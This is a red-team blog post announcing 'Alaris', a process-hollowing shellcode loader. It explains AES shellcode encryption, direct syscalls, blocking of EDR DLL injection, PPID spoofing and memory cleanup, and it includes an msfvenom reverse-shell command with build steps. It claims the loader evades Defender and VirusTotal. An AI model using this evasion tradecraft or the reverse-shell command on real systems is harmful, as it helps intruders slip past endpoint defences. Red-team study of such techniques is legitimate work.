Alaris | A Protective Loader

To date, we’ve reviewed techniques such as shellcode loading and encryption, circumventing detection, and building in our own syscalls.

Today, I’m releasing Alaris, a new shellcode loader that will utilize many of the previous techniques discussed within this blog as well as add a few new ones. We’re going to use known and widely used tactics that I, and many other Red Teams, have been using for a while. The best documentation (easiest to digest and implement) on many of these TTPs is available on ired.team. I will include documentation/links everywhere in this post.

The primary goal of this loader is proactive protection and self-sufficiency. I want to rely mostly on the code we write for the heavy (malicious) lifting. With that said, I am still going to use extraordinarily helpful libraries such as windows.h and vectors. However, the more self-sufficient we become and the lower we execute our code, the less noise we make and that’s a damn good thing as seen within the detection portion of this post.


Overview

In efforts to help mitigate any issues on your end, here are my development environment specifics.

  • System: Windows 10 (Build 17763)
  • IDE: Visual Studio 2019
  • Language: C, C++, x86 ASM (VS19 Project is Visual C++)
    • Loader.cpp – Shellcode Loader
    • Cryptor.cpp – Shellcode Encryption

Alaris is a shellcode loading application utilizing the Process Hollowing technique. There are going to be two (2) distinct processes that we’ll start and analyze. In the graphic below I detail both of the processes where Red is the loader process and Green is the hollowed (child) process.

  1. The Parent Process [loader.exe]: This is the process that is going to decode, decrypt, and add the shellcode to a hollowed process.
    1. Shellcode decryption via aes.c (AES -CBC 256)
    2. Shellcode decoding via base64.cpp
    3. Direct x86 Syscalls via low.asm (Thanks to SysWhipers) using NtQueueApcThread()to add shellcode.
    4. Disallow non-Microsoft signed DLL’s from injecting into process.

  2. The Hollowed (Child) Process [mobsync.exe]:The CreateProcess()Child process. We’re using mobsync.exe here but there are many different executables you can use.
    1. Disallow non-Microsoft signed DLL’s from injecting into process.
    2. Parent Process ID spoofing to explorer.exe

Protecting Our Malware

There are several tactics we’re using to not only protect our initial execution but also our child (hollowed) process. Let’s go through each of them at a pretty high level.

Shellcode Encryption

Within this loader is an embedded AES (128, 192, 256) (ECB, CTR, CBC) implementation. Not relying on Windows Crypto API’s or known libraries, such as Crypto++, helps limit our noise and overall footprint.

We’re encrypting our shellcode with AES-CBC 256. The key and iv live in the code and are not obfuscated, encoded, etc. The primary purpose of encrypting our shellcode is to defeat static signature based detection (i.e., \xFC\xE8, \xFC\x48). We’re not going to bypass entropy detection or the good job Windows Defender does at analyzing large Base64 blobs with high entropy. However, if we used a staged payload or a small payload, we can circumvent most EDR systems simply by encrypting our shellcode.

All Shellcode encryption is done via Cryptor.exe which, is part of the Visual Studio project.

Direct x86 Syscalls

Direct Syscalls allow us to mitigate using ntdll.dll for a large majority of the process hollowing. We’re executing the syscalls ourselves via x86 assembly located in low.asm and as such, we’re staying quieter and executing our code at a lower level. This significantly decreases the likelihood of detection.

I’ve gone pretty deep into direct x86 Syscalls for Process Injection using both CreateRemoteThread() and QueueUserAPC() in these two posts:

  1. Process Injection Part 1 | CreateRemoteThread()
  2. Process Injection Part 2 | QueueUserAPC()

Preventing 3rd Party DLLs from Injecting into your Malware

We’re blocking all non-Microsoft DLL’s (i.e.,DLL’s that have not been signed my Microsoft) from hooking/injecting into our process (Both the Parent and Child). Keep in mind, there are a few EDR solutions out there that have co-signed drivers (Company + Microsoft). To get a better understanding on how this works and why, I would suggest reading iread.team’s write up.

PPID Spoofing

We’re spoofing the parent process ID of our child process (hollowed process). We want to make it look like this process was spawned organically (explorer.exe -> mobsync.exe) rather than the true path of execution (loader.exe -> mobsync.exe).

This is a fairly simple technique that I find is more fun for the Blue Team to find than it is really helping me to be sneaky. However, it’s still a bit sneaky considering at first glance, it does look like our execution path is not suspect and may blow past the radar of some teams.

Overwrite Shellcode

This is not full proof and will not stop many Blue Teams from dumping your shellcode if they get a hold of your binary. This is simply a cleanup method to remove your shellcode from memory as good measure.


Alaris Build & Execution

Let’s walk through the build and execution path from start to shell. I’ve generated a simple reverse shell with msfvenom: msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -f raw >> 64b_443_localhost_revshell.bin

Building

  1. Included in this package is a cryptor. To encrypt, simply build the Visual Studio project as-is and execute cryptor.exe with the path of a raw (binary) shellcode file.
  1. Replace the shellcode variable in the main function of loader.cpp with the new shellcode variable generated by cryptor.exe
  2. Build a Release version.

Execution

I’m using Process Hacker to review both the Parent and Child (hollowed) processes. Let’s fist take a look at the Parent process attributes.

The image below shows details of the loader.exe process. We can verify that our DLL Signature requirement, which disallows all non-Microsoft signed DLL’s from injecting into our process, is enabled.

Moving into the mobsync.exe process generated by our CreateProcess() call we can verify that the PPID is in-fact explorer.exe due to our spoofing and we have 3rd party DLL injection blocking similar to loader.exe.


EDR Bypass and Detection Analysis

I generated two (2) Alaris loaders with different MSFVenom payloads:

  1. loader_rev.exe – Compiled with a reverse shell (127.0.0.1:443)
  2. loader_notepad.exe – Compiled with shellcode that executes notepad.exe

Sysmon Events

Sysmon generated five (5) events during loader_rev.exe execution. We do not see suspect process injection events due to us using NtQueueUserAPC(). If we were to use NtCreateRemoteThread(), we would see a Sysmon Event Type 8.

There are two (2) process creates. One for Loader and the other for modsync.exe executing the shellcode.

The interesting thing here is that the second Process Create does not explicitly call out mobsync.exe being executed. Instead, it detailed mobsync.exe as being the parent process and shows the shellcode executed via cmd within the CommandLine field. This must be a byproduct of the process hollowing but, I am not 100% on why just yet.

Bypassing Defender

Executing loader_notepad.exe on a updated and fully patched Windows 10 system did not result in any detection’s from Defender. The results were identical with loader_rev.exe.

Virus Total

I tested both versions of Alaris against Virus Total to get a better idea on the overall detection / suspect percentage and did not have any. This is possibly a symptom of not having common indicators such as a URI string or an IP address (other than 127.0.0.1) embedded in either the shellcode or the source.


Detection

Alaris

Tactics


Conclusion

The TTPs used within Alaris are common among Red Teams and used within several C2 frameworks (Cobalt Strike for example). Alaris is a simple and small example of how you can customize these tactics to circumvent several different detection mechanisms as well as make your code look more “legitimate” in the context of Microsoft applications.

 

No Comments

Post a Comment